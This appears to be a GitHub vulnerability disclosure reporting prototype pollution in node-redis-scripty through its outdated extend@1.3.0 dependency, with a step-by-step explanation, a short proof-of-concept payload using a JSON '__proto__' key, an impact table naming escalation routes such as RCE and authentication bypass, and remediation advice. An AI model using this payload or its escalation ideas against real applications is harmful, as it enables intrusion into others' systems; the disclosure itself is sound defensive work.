Skip to content

Prototype Pollution via extend@1.3.0 dependency in Scripty constructor #7

@gnsehfvlr

Description

@gnsehfvlr

Prototype Pollution in node-redis-scripty

Summary

node-redis-scripty (<= 0.0.6) is vulnerable to Prototype Pollution through its dependency extend@1.3.0, which lacks __proto__ key sanitization. The Scripty constructor passes user-controlled options directly to extend(true, ...).


Vulnerable Code

lib/Scripty.js:

var extend = require('extend');

var Scripty = function(redis, opts) {
  var conf = {};
  this.conf = extend(true, conf, opts);  // ← user opts passed unguarded
  // ...
};

module.exports = function(redis, opts) {
  return new Scripty(redis, opts);
};

The dependency declared as "extend": "^1.2.1" resolves to extend@1.3.0. Note: extend@3.0.2 patched Prototype Pollution by adding a setProperty helper that uses Object.defineProperty for __proto__, but extend@1.x has no such guard — it uses raw target[name] = value.


Why This Is Vulnerable — Step by Step

1. Attacker input: JSON.parse('{"__proto__":{"polluted":"pwned"}}')
   → __proto__ becomes an OWN ENUMERABLE property
   → for...in WILL enumerate it

2. extend(true, {}, payload) is called inside Scripty constructor
   → Inside extend, for (name in payload) iterates "__proto__"
   → copy = payload['__proto__'] = {polluted:"pwned"}
   → isPlainObject({polluted:"pwned"}) → true

3. clone = target['__proto__']
   → For target = {}, this resolves to Object.prototype via the prototype chain
   → isPlainObject(Object.prototype) → true (no __proto__ guard in extend@1.x)

4. Recursive call: extend(true, Object.prototype, {polluted:"pwned"})
   → Object.prototype['polluted'] = "pwned"
   → POLLUTION COMPLETE

5. Every {} object in the Node.js process now has .polluted === "pwned"

Proof of Concept

const scripty = require('node-redis-scripty');

// Before
console.log({}.polluted);  // undefined

// Trigger PP via constructor (redis arg can be {} - PP fires before redis is used)
const malicious = JSON.parse('{"__proto__":{"polluted":"pwned"}}');
try { scripty({}, malicious); } catch(e) { /* redis init may fail, but PP already happened */ }

// After — ALL objects are polluted
console.log({}.polluted);          // "pwned"
console.log(new Object().polluted); // "pwned"

Impact

Attack Mechanism
Remote Code Execution Pollute shell, envchild_process.exec
Authentication Bypass Inject isAdmin: true into user/session objects
Denial of Service Override toString, valueOf → crash all object operations
NoSQL Injection Pollute query operators ($where, $gt)
SSRF Inject hostname, port into HTTP client configs

Any application using this library that accepts user-controlled options to the Scripty constructor (e.g., from HTTP request bodies parsed via JSON.parse) is exploitable.


Remediation

Option 1 (recommended): Update extend dependency

"dependencies": {
  "extend": "^3.0.2"
}

extend@3.0.2+ has a setProperty helper that uses Object.defineProperty for __proto__, preventing prototype chain modification.

Option 2: Sanitize user input before passing to extend

var Scripty = function(redis, opts) {
  var conf = {};
  // Strip dangerous keys
  if (opts && typeof opts === 'object') {
    delete opts.__proto__;
    delete opts.constructor;
    delete opts.prototype;
  }
  this.conf = extend(true, conf, opts);
};

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions